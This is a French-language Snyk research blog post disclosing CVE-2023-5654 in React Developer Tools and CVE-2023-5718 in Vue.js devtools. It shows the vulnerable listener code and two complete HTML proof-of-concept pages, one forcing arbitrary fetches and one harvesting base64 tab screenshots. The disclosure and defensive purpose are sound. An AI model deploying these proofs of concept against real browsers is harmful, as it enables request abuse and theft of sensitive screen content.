Skip to main content

Exploration des vulnérabilités de sécurité des extensions Web dans React Developer Tools et Vue.js devtools

Écrit par
Headshot of Calum Hutton

Calum Hutton

blog feature toolkit

27 novembre 2023

0 minutes de lecture

Les chercheurs en sécurité de Snyk ont mené des recherches afin de mieux comprendre les risques liés aux WebExtensions, qu’il s’agisse de risques bien connus (comme les XSS et l’injection de code) ou de risques propres aux WebExtensions. Ces recherches nous ont permis d’identifier et de divulguer des vulnérabilités dans des extensions de navigateur populaires : React Developer Tools et Vue.js devtools. Dans cet article, nous vous présentons la technologie WebExtension et examinons les vulnérabilités identifiées.

Bref historique des WebExtensions

WebExtension est une API d’extension de navigateur qui permet aux développeurs de créer des extensions compatibles avec plusieurs navigateurs, notamment Firefox et Chrome. Développée à l’origine par Chrome, elle a été adoptée par Firefox en 2017, après l’abandon des API d’extension précédentes, XUL et XPCOM. Ces anciennes API étaient puissantes, mais aussi moins sécurisées et plus difficiles à maintenir. Ces facteurs ont notamment poussé l’équipe Firefox à adopter WebExtension.

L’écosystème WebExtension est donc particulièrement intéressant pour la recherche : la découverte d’une vulnérabilité dans une seule extension pourrait affecter de nombreux utilisateurs de différents navigateurs.

Architecture des WebExtensions

Les WebExtensions se composent de différents éléments qui peuvent communiquer entre eux par messages. Chaque élément de l’extension a accès à des API différentes. L’isolation des API privilégiées est l’un des mécanismes conçus pour renforcer la sécurité des WebExtensions :

  • Seules les pages d’arrière-plan ont accès aux API sensibles, et elles ne peuvent pas accéder directement au contenu de la page ni au DOM.

  • Les scripts de contenu peuvent accéder au contenu des pages, mais leur accès aux API est limité. Le fichier manifest.json définit les éléments et les autorisations nécessaires à l’extension, ainsi que d’autres métadonnées. 

Schéma montrant comment manifest.json relie les composants d’une extension de navigateur : page d’arrière-plan, scripts de contenu, actions du navigateur et de la page, page d’options et accès Web

Les pièges des WebExtensions

Les WebExtensions sont volontairement moins puissantes que XUL et XPCOM afin d’améliorer leur sécurité : leurs API sont restrictives et les occasions de compromettre involontairement l’intégrité de l’extension ou du navigateur sont moins nombreuses. Cependant, les technologies utilisées comportent des risques inhérents, notamment les XSS et l’injection de code. Nous nous sommes toutefois davantage intéressés aux risques propres aux WebExtensions et avons axé nos recherches sur trois aspects :

  1. Messages externes non vérifiés - Si l’expéditeur d’un message externe (provenant du navigateur ou d’une autre extension) n’est pas vérifié, des acteurs malveillants pourraient effectuer des actions non autorisées au sein de l’extension.

  2. Transfert de messages externes non vérifiés - Ce problème est similaire au précédent, mais le message externe non vérifié est transmis à la page d’arrière-plan, ce qui pourrait donner indirectement accès à des API privilégiées.

  3. Accès non autorisé aux API de capture de page - Certaines API renvoient à l’appelant des captures d’écran d’onglets sous forme de données encodées en base64. Si un acteur malveillant pouvait accéder à ces données, il pourrait dérober des informations sensibles.

Constitution d’un jeu de données

Pour étudier les WebExtensions à grande échelle, nous avons cherché à obtenir leur code source (un mélange de JavaScript, HTML et CSS) sur le site des modules complémentaires de Mozilla. À l’aide d’un script, nous avons pu télécharger les 150 extensions Firefox les plus populaires. Les packages d’extension portent l’extension .xpi, mais il s’agit en réalité de simples archives compressées qui peuvent être décompressées et, si nécessaire, rendues plus lisibles — ce qui était souvent le cas.

Résultats

React Developer Tools v4.27.8 (CVE-2023-5654)

Cette extension React Developer Tools enregistre un écouteur de messages à l’aide de window.addEventListener('message', <listener>) dans un script de contenu accessible à toute page Web active dans le navigateur. Le code de cet écouteur demande une URL dérivée du message reçu au moyen de fetch(). Cette URL n’est ni validée ni assainie avant la requête, ce qui permet à une page Web malveillante de demander arbitrairement des URL par l’intermédiaire du navigateur de la victime. 

Comme le contenu de la réponse n’est pas renvoyé à la page Web malveillante, l’impact de ce problème est limité : les ressources sensibles accessibles uniquement à la victime ne peuvent pas être récupérées. Il pourrait toutefois servir à générer des clics, et donc des revenus, au profit d’acteurs malveillants, ou à participer à une attaque par déni de service distribué (DDoS) à l’insu des victimes et sans leur consentement.  

Code

L’extrait de code ci-dessous (raccourci par souci de concision) montre le code de l’écouteur de messages du script de contenu : il extrait l’URL du message potentiellement contaminé reçu, puis utilise directement cette URL arbitraire dans un appel à fetch peu après.

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type === 'fetch-file-with-cache') {
        const url = data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response => {
            if (response.ok) {
              response
                .text()
                .then(text => resolve(text))
                .catch(error => reject(null));
            } else {
              reject(null);
            }
          },
          error => reject(null),
        );
      }
      break;
    ...

Preuve de concept

Dans l’application React de démonstration ci-dessous, l’API standard postMessage() sert à envoyer un message conçu pour déclencher l’instruction switch ci-dessus lorsque l’utilisateur clique sur un bouton. Notez que l’attribut source du message est react-devtools-extension et que son type est fetch-file-with-cache.

<!DOCTYPE html>
<html>
<head>
  <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
  <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
  <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>

<div id="mydiv"></div>

<script type="text/babel">
  function Hello() {
    return <h1>Hello World!</h1>;
  }

  const container = document.getElementById('mydiv');
  const root = ReactDOM.createRoot(container);
  root.render(<Hello />)
</script>

<script>
  function sendBrowserMsg() {
    let msg = {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.imdb.com'
      }
    }
    console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
    postMessage(msg, "*");
  }
</script>

<form>
  <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>

</body>
</html>

En réalité, une page Web malveillante pourrait probablement envoyer automatiquement des messages à l’extension, sans intervention de l’utilisateur. Cette vulnérabilité illustre le risque des messages externes non vérifiés.

Vue.js devtools v6.5.0 (CVE-2023-5718)

Nous avons découvert que cette extension Vue.js devtools divulguait à une page Web malveillante les données de captures d’écran via l’API standard postMessage(). Il suffit de créer une page Web malveillante contenant une iframe qui cible un site ou une ressource sensible (par exemple, un fichier accessible localement), puis d’y enregistrer un écouteur : l’extension envoie à cet écouteur des messages contenant les captures d’écran du site ou de la ressource sensible, encodées en base64. Il s’agit d’un exemple d’accès non autorisé aux API de capture de page. 

Une interaction de l’utilisateur était nécessaire : les messages contenant les données des captures d’écran n’étaient envoyés que lorsque la cible survolait les barres de la frise chronologique dans l’onglet Timeline.

Outils de développement du navigateur affichant le panneau Timeline de Vue Devtools, avec les événements de souris, de clavier et de composants, ainsi que les pistes de performance

Certaines mesures limitent les sites sensibles que la page Web malveillante peut cibler : le site visé doit autoriser son intégration dans une iframe (autrement dit, l’en-tête de réponse HTTP X-Frame-Options ne doit pas être présent ou doit autoriser explicitement le site cible). Nous avons toutefois constaté que d’autres onglets où l’extension Vue.js devtools était activée divulguaient également leurs captures d’écran à la page Web malveillante, ce qui augmentait le risque de divulgation d’informations sensibles. 

Code

Le code ci-dessous montre que l’extension utilise un caractère générique dans l’appel à la fonction postMessage() (*) pour envoyer les messages aux écouteurs de la page Web. C’est pourquoi les captures d’écran d’autres onglets peuvent être divulguées. 

const bridge = new Bridge({
  listen (fn) {
    window.addEventListener('message', evt => fn(evt.data))
  },
  send (data) {
    if (process.env.NODE_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '*')
  },
})

Preuve de concept

Dans l’application Vue.js de démonstration ci-dessous, l’API standard window.addEventListener(‘message’ <listener>) sert à enregistrer un écouteur sur la page Web malveillante. La fonction setInterval() simule régulièrement des clics sur la page de démonstration, car ces événements (souris, clavier, etc.) déclenchent les API de capture de page qui génèrent les captures d’écran. La fonction handleScreenshot() vérifie que chaque message reçu contient les paramètres attendus, puis convertit les données de capture d’écran encodées en base64 en une image intégrée à la page de démonstration. En réalité, les données base64 seraient probablement exfiltrées discrètement vers un attaquant malveillant.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>postMessage() PoC</title>
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
</head>
<body>
    <div id="app">
        <iframe src="https://www.wikipedia.org" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"></iframe>
    </div>
    <script>
        const { createApp, ref } = Vue

        createApp({
            setup() {
                const message = ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script>

    <script>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) => {
                console.log(`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}, source: ${msg.source.location}`);
                handleScreenshot(msg.data);
            });
            console.log(`Added message listener (window.addEventListener)..`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length > 0) {
                data.payload.forEach((event) => {
                    if (event.event === 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(`Got screenshot with id: ${event.payload.screenshot.id}`);
                        let img = new Image();
                        img.src = event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script>
</body>
</html>

Renforcez la sécurité de vos WebExtensions

Maintenant que nous avons exploré les risques et les avantages potentiels des WebExtensions et que nous vous avons présenté des exemples concrets de vulnérabilités dans React Developer Tools et Vue.js devtools, vous pouvez commencer à intégrer la technologie WebExtension à vos applications sans compromettre leur sécurité. 

Se tenir au courant des nouveaux risques est un travail continu pour tous les membres des équipes de développement et de sécurité. Heureusement, Snyk est là pour vous aider. Nos renseignements sur les menaces et nos outils de sécurité pour les développeurs vous aident à garder une longueur d’avance et à protéger vos applications contre les risques de sécurité actuels et futurs. Commencez gratuitement dès aujourd’hui ou réservez une démonstration avec nos experts en sécurité pour en savoir plus. 

Apprécié par les développeurs. Les équipes de sécurité lui font confiance.

Les outils Snyk, conçus pour les développeurs, offrent une sécurité intégrée et automatisée qui répond à vos exigences de gouvernance et de conformité.

Lire la suite

blog feature snyk container custom base recommendations
Blog

Découvrez Evo Agentic AppSec : une sécurité au rythme du développement de l’IA

Le développement piloté par l’IA dépasse les workflows de sécurité traditionnels. L’AppSec agentique de Snyk s’appuie sur des agents de sécurité pour détecter, corriger et vérifier les vulnérabilités en continu, tandis que les équipes définissent les exigences.

blog feature ai violet
Blog

VulnBump : les agents IA peuvent-ils corriger les dépendances vulnérables sans casser le build ?

VulnBump évalue des agents IA sur 307 mises à niveau de dépendances réelles. Une correction n’est comptabilisée que si la vulnérabilité disparaît et que la compilation et les tests restent au vert.

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.